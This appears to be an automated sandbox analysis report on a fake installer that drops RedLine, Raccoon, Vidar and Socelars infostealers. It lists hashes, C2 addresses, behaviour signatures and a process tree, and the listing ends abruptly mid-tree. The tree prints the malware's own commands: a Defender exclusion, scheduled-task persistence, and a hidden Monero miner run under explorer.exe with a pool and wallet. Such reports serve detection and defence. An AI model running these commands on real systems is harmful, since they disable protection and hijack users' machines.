Analysis

  • max time kernel
    1802s
  • max time network
    1756s
  • platform
    windows11_x64
  • resource
    win11
  • submitted
    16-09-2021 21:08

General

  • Target

    setup_x86_x64_install.exe

  • Size

    6.5MB

  • MD5

    064f0d6900675bed580da1291a566cfa

  • SHA1

    f81699a68c901d190842de735dbda28a3fb52292

  • SHA256

    7ec88d4baa0a97362a026cf6e0f46422379a99be6d9bfe19034152f3d47cc0ed

  • SHA512

    41dc5c444afd6b5dc0947cf9950acb5aa1081ee9921c748195325b5cfcb23532cea1802959baa59a0c41ed998ba20b509ec107da882d5d8b3bf0b1d17f892738

Malware Config

Extracted

Family

redline

Botnet

ANI

C2

45.142.215.47:27643

Extracted

Family

redline

Botnet

medianew

C2

91.121.67.60:62102

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 4 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 35 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • evasion 2 IoCs

    evasion.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Blocklisted process makes network request 44 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 64 IoCs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks BIOS information in registry 2 TTPs 27 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 39 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 12 IoCs
  • Drops desktop.ini file(s) 2 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 41 IoCs
  • Suspicious use of SetThreadContext 15 IoCs
  • Drops file in Program Files directory 38 IoCs
  • Drops file in Windows directory 37 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 32 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 64 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 17 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3552
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      PID:4912
      • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:4820
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4152
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3252
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Thu20c467678e2c.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4924
          • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu20c467678e2c.exe
            Thu20c467678e2c.exe
            5⤵
            • Executes dropped EXE
            PID:3192
            • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
              "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
              6⤵
              • Executes dropped EXE
              PID:5576
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                7⤵
                  PID:5636
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                    8⤵
                    • Creates scheduled task(s)
                    PID:2536
                • C:\Users\Admin\AppData\Roaming\services64.exe
                  "C:\Users\Admin\AppData\Roaming\services64.exe"
                  7⤵
                  • Suspicious use of SetThreadContext
                  PID:3788
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                    8⤵
                      PID:6580
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                        9⤵
                        • Creates scheduled task(s)
                        PID:4052
                    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                      8⤵
                        PID:5152
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                        8⤵
                          PID:7300
                    • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                      "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5632
                      • C:\ProgramData\7540893.exe
                        "C:\ProgramData\7540893.exe"
                        7⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3480
                        • C:\Windows\system32\WerFault.exe
                          C:\Windows\system32\WerFault.exe -u -p 3480 -s 2144
                          8⤵
                          • Program crash
                          • Checks processor information in registry
                          • Enumerates system info in registry
                          PID:5316
                      • C:\ProgramData\1254170.exe
                        "C:\ProgramData\1254170.exe"
                        7⤵
                        • Executes dropped EXE
                        • Checks BIOS information in registry
                        • Checks whether UAC is enabled
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        PID:6760
                    • C:\Users\Admin\AppData\Local\Temp\2.exe
                      "C:\Users\Admin\AppData\Local\Temp\2.exe"
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5796
                      • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                        7⤵
                        • Executes dropped EXE
                        PID:6132
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 6132 -s 256
                          8⤵
                          • Program crash
                          • Checks processor information in registry
                          • Enumerates system info in registry
                          PID:6664
                    • C:\Users\Admin\AppData\Local\Temp\setup.exe
                      "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:5928
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 5928 -s 608
                        7⤵
                        • Program crash
                        • Checks processor information in registry
                        • Enumerates system info in registry
                        PID:5276
                    • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                      "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:6028
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Thu20f2cf5e0c.exe
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4380
                  • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu20f2cf5e0c.exe
                    Thu20f2cf5e0c.exe
                    5⤵
                    • Executes dropped EXE
                    PID:1104
                    • C:\Users\Admin\AppData\Roaming\7522248.scr
                      "C:\Users\Admin\AppData\Roaming\7522248.scr" /S
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5300
                      • C:\Windows\system32\WerFault.exe
                        C:\Windows\system32\WerFault.exe -u -p 5300 -s 2120
                        7⤵
                        • Program crash
                        • Checks processor information in registry
                        • Enumerates system info in registry
                        PID:6128
                    • C:\Users\Admin\AppData\Roaming\5841843.scr
                      "C:\Users\Admin\AppData\Roaming\5841843.scr" /S
                      6⤵
                      • Executes dropped EXE
                      PID:6576
                    • C:\Users\Admin\AppData\Roaming\2675635.scr
                      "C:\Users\Admin\AppData\Roaming\2675635.scr" /S
                      6⤵
                      • Checks BIOS information in registry
                      • Checks whether UAC is enabled
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:1436
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Thu20a5f7ccaa78.exe
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4328
                  • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu20a5f7ccaa78.exe
                    Thu20a5f7ccaa78.exe
                    5⤵
                    • Executes dropped EXE
                    PID:4672
                    • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu20a5f7ccaa78.exe
                      C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu20a5f7ccaa78.exe
                      6⤵
                      • Executes dropped EXE
                      PID:5824
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Thu2026c04e7218e1.exe
                  4⤵
                    PID:2592
                    • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu2026c04e7218e1.exe
                      Thu2026c04e7218e1.exe
                      5⤵
                      • Executes dropped EXE
                      PID:4588
                      • C:\Users\Admin\AppData\Local\Temp\is-MSL6M.tmp\Thu2026c04e7218e1.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-MSL6M.tmp\Thu2026c04e7218e1.tmp" /SL5="$2014C,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu2026c04e7218e1.exe"
                        6⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5236
                        • C:\Users\Admin\AppData\Local\Temp\is-PRRNM.tmp\___YHDG34.exe
                          "C:\Users\Admin\AppData\Local\Temp\is-PRRNM.tmp\___YHDG34.exe" /S /UID=burnerch2
                          7⤵
                          • Drops file in Drivers directory
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Drops file in Program Files directory
                          PID:5660
                          • C:\Users\Admin\AppData\Local\Temp\LVSFPDOZBG\ultramediaburner.exe
                            "C:\Users\Admin\AppData\Local\Temp\LVSFPDOZBG\ultramediaburner.exe" /VERYSILENT
                            8⤵
                              PID:7552
                              • C:\Users\Admin\AppData\Local\Temp\is-OVTUR.tmp\ultramediaburner.tmp
                                "C:\Users\Admin\AppData\Local\Temp\is-OVTUR.tmp\ultramediaburner.tmp" /SL5="$203A4,281924,62464,C:\Users\Admin\AppData\Local\Temp\LVSFPDOZBG\ultramediaburner.exe" /VERYSILENT
                                9⤵
                                • Drops file in Program Files directory
                                • Suspicious use of FindShellTrayWindow
                                PID:7800
                                • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                  "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                  10⤵
                                    PID:6404
                              • C:\Users\Admin\AppData\Local\Temp\c5-5a46d-daa-63d8a-101f6f3c3cea6\Tamomybafo.exe
                                "C:\Users\Admin\AppData\Local\Temp\c5-5a46d-daa-63d8a-101f6f3c3cea6\Tamomybafo.exe"
                                8⤵
                                  PID:7756
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                    9⤵
                                    • Adds Run key to start application
                                    • Enumerates system info in registry
                                    • Suspicious use of FindShellTrayWindow
                                    PID:5504
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                      10⤵
                                        PID:4352
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2248 /prefetch:2
                                        10⤵
                                          PID:6080
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
                                          10⤵
                                            PID:7260
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2644 /prefetch:8
                                            10⤵
                                              PID:3004
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:1
                                              10⤵
                                                PID:7720
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3200 /prefetch:1
                                                10⤵
                                                  PID:4684
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4760 /prefetch:1
                                                  10⤵
                                                    PID:6244
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4776 /prefetch:1
                                                    10⤵
                                                      PID:7932
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
                                                      10⤵
                                                        PID:888
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5804 /prefetch:8
                                                        10⤵
                                                          PID:496
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5804 /prefetch:8
                                                          10⤵
                                                            PID:344
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5820 /prefetch:1
                                                            10⤵
                                                              PID:2980
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
                                                              10⤵
                                                                PID:1280
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6004 /prefetch:1
                                                                10⤵
                                                                  PID:2920
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1944 /prefetch:2
                                                                  10⤵
                                                                    PID:6948
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5896 /prefetch:1
                                                                    10⤵
                                                                      PID:2192
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3912 /prefetch:8
                                                                      10⤵
                                                                        PID:2884
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1920 /prefetch:1
                                                                        10⤵
                                                                        • Checks processor information in registry
                                                                        • Enumerates system info in registry
                                                                        PID:2064
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6040 /prefetch:1
                                                                        10⤵
                                                                          PID:7620
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4452 /prefetch:1
                                                                          10⤵
                                                                            PID:7016
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5412 /prefetch:1
                                                                            10⤵
                                                                              PID:5372
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4752 /prefetch:1
                                                                              10⤵
                                                                                PID:432
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4384 /prefetch:1
                                                                                10⤵
                                                                                  PID:1532
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=5396 /prefetch:8
                                                                                  10⤵
                                                                                    PID:7460
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
                                                                                    10⤵
                                                                                      PID:6892
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4704 /prefetch:1
                                                                                      10⤵
                                                                                        PID:344
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1740 /prefetch:8
                                                                                        10⤵
                                                                                          PID:2096
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:1
                                                                                          10⤵
                                                                                            PID:2520
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
                                                                                            10⤵
                                                                                              PID:3908
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
